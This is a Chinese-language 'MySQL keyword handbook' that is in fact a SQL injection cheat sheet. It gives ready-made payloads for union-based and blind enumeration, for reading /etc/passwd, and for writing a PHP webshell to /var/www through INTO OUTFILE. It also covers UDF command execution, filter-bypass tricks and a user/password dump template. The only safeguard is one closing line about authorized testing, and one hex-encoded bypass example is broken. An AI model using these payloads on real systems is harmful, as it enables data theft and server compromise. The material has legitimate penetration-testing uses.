MySQL新手必备关键词手册¶
1. 信息模式(核心注入目标)¶
information_schema.schemata -- 所有数据库信息
information_schema.tables -- 所有表信息
information_schema.columns -- 所有列信息
-- 查询所有数据库名
SELECT schema_name FROM information_schema.schemata
-- 注入示例:' UNION SELECT 1,schema_name,3 FROM information_schema.schemata--+
-- 获取当前数据库所有表
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- 注入示例:' AND 1=2 UNION SELECT 1,table_name,3 FROM information_schema.tables--+
2. 数据查询关键词¶
SELECT * FROM users WHERE id=1 -- 基础查询
UNION SELECT 1,2,3 -- 联合查询
LIMIT 0,1 -- 结果限制
ORDER BY 4 -- 排序(用于字段数判断)
-- 基础查询(判断字段数)
SELECT * FROM products WHERE id=1 ORDER BY 5
-- 注入示例:http://example.com/?id=1' ORDER BY 5--+
-- 联合查询(探测显示位)
SELECT name,price FROM products UNION SELECT 1,@@version
-- 注入示例:' UNION SELECT 1,@@version,3--+
3. 常用函数¶
CONCAT('a','b') -- 字符串拼接(输出:ab)
GROUP_CONCAT(table_name) -- 聚合拼接(表名1,表名2,...)
VERSION() -- 数据库版本信息
USER() -- 当前数据库用户
DATABASE() -- 当前数据库名
LOAD_FILE('/etc/passwd') -- 读取系统文件
SLEEP(5) -- 延时函数(盲注使用)
-- 拼接管理员密码
SELECT CONCAT(username,0x3a,password) FROM admins
-- 注入示例:' UNION SELECT null,CONCAT(user(),0x3a,database()),null--+
-- 聚合表名(绕过LIMIT限制)
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables
-- 注入示例:' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+
4. 特殊运算符¶
AND 1=1 -- 逻辑与运算
OR 1=2 -- 逻辑或运算
|| 'a'='a' -- 逻辑或(部分环境可用)
-- 布尔逻辑测试
SELECT * FROM users WHERE id=1 AND 1=1
-- 注入示例:http://example.com/?id=1' AND 1=1--+
5. 注释方式¶
-- - -- 末尾注释(注意空格)
# -- 井号注释
/*!50530 ... */ -- 内联注释(版本特性检测)
-- 截断后续查询
SELECT * FROM products WHERE id=1' --
-- 注入示例:http://example.com/?id=1' AND 1=1--+
-- 内联注释绕过过滤
/*!SELECT*/ * FROM users
-- 注入示例:' UNION /*!SELECT*/ 1,version(),3--+
6. 系统变量¶
@@version -- 数据库版本
@@datadir -- 数据存储路径
@@hostname -- 服务器主机名
-- 获取数据库版本
SELECT @@version
-- 注入示例:' UNION SELECT 1,@@version,3--+
-- 获取数据库路径
SELECT @@datadir
-- 注入示例:' UNION SELECT 1,@@datadir,3--+
7. 条件判断¶
IF(1=1, sleep(5), 0) -- 条件判断(时间盲注)
CASE WHEN 1=1 THEN 1 ELSE 0 END -- 条件分支
-- 时间盲注检测
SELECT IF(1=1,SLEEP(5),0)
-- 注入示例:' AND IF(ASCII(SUBSTR(database(),1,1))>100,SLEEP(5),0)--+
-- 布尔盲注判断
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END
-- 注入示例:' AND CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN 1 ELSE 0 END--+
8. 字符串处理¶
SUBSTR(str,1,1) -- 截取子串(从第1位取1字符)
ASCII('a') -- 获取ASCII码(97)
LENGTH(str) -- 获取字符串长度
HEX('test') -- 转换为十六进制
-- 逐字符猜解
SELECT SUBSTR((SELECT database()),1,1)
-- 注入示例:' AND ASCII(SUBSTR(database(),1,1))>97--+
-- 十六进制编码
SELECT 0x61646d696e -- 等价于 'admin'
-- 注入示例:' UNION SELECT 1,0x61646d696e,3--+
9. 文件操作¶
INTO OUTFILE '/tmp/test.txt' -- 写入文件(需写权限)
LOAD DATA INFILE '/etc/passwd' -- 读取文件到表
-- 读取系统文件
SELECT LOAD_FILE('/etc/passwd')
-- 注入示例:' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--+
-- 写入Webshell
SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php'
-- 注入示例:' UNION SELECT 1,'<?php system($_GET[cmd]);?>',3 INTO OUTFILE '/var/www/shell.php'--+
10. 权限相关¶
SHOW GRANTS -- 查看当前用户权限
FILE_PRIV -- 文件操作权限
SUPER_PRIV -- 超级用户权限
-- 系统命令执行(需特殊配置):
sys_exec('whoami') -- 通过UDF执行命令
-- 查看当前权限
SHOW GRANTS
-- 注入示例:' UNION SELECT 1,(SELECT GROUP_CONCAT(grantee,0x3a,privilege_type) FROM information_schema.user_privileges),3--+
-- 验证文件权限
SELECT file_priv FROM mysql.user WHERE user = 'root'
-- 注入示例:' AND (SELECT file_priv FROM mysql.user WHERE user='root' LIMIT 1)='Y'--+
11. 绕过过滤技巧¶
/*!UNION*/ SELECT -- 内联注释绕过
SELselectECT -- 双写绕过
UNION%0bSELECT -- 空白符绕过
CHAR(115,101,108,101,99,116) -- ASCII编码绕过
-- 大小写混合
SeLeCt VERSION()
-- 注入示例:' UnIoN SeLeCt 1,version(),3--+
-- 空白符绕过
SELECT/**/1FROM users
-- 注入示例:'%0bUNION%0cSELECT%0d1,2,3--+
-- 十六进制编码绕过
SELECT 0x756E696F6E -- 等价于 'union'
-- 注入示例:' 0x756E696F6E SELECT 1,2,3--+
12. 实用查询模板¶
-- 获取所有表名:
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables
WHERE table_schema=database()
-- 获取列结构:
SELECT GROUP_CONCAT(column_name,':',data_type)
FROM information_schema.columns WHERE table_name='users'
-- 拖库语句示例:
UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users
注意事项¶
所有测试需在授权环境进行